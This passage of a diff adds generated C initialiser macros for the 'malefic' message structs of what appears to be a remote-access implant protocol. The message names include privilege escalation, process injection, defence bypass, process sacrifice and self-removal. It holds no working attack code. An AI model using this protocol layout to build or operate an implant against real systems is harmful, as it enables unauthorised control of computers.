malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} +#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, 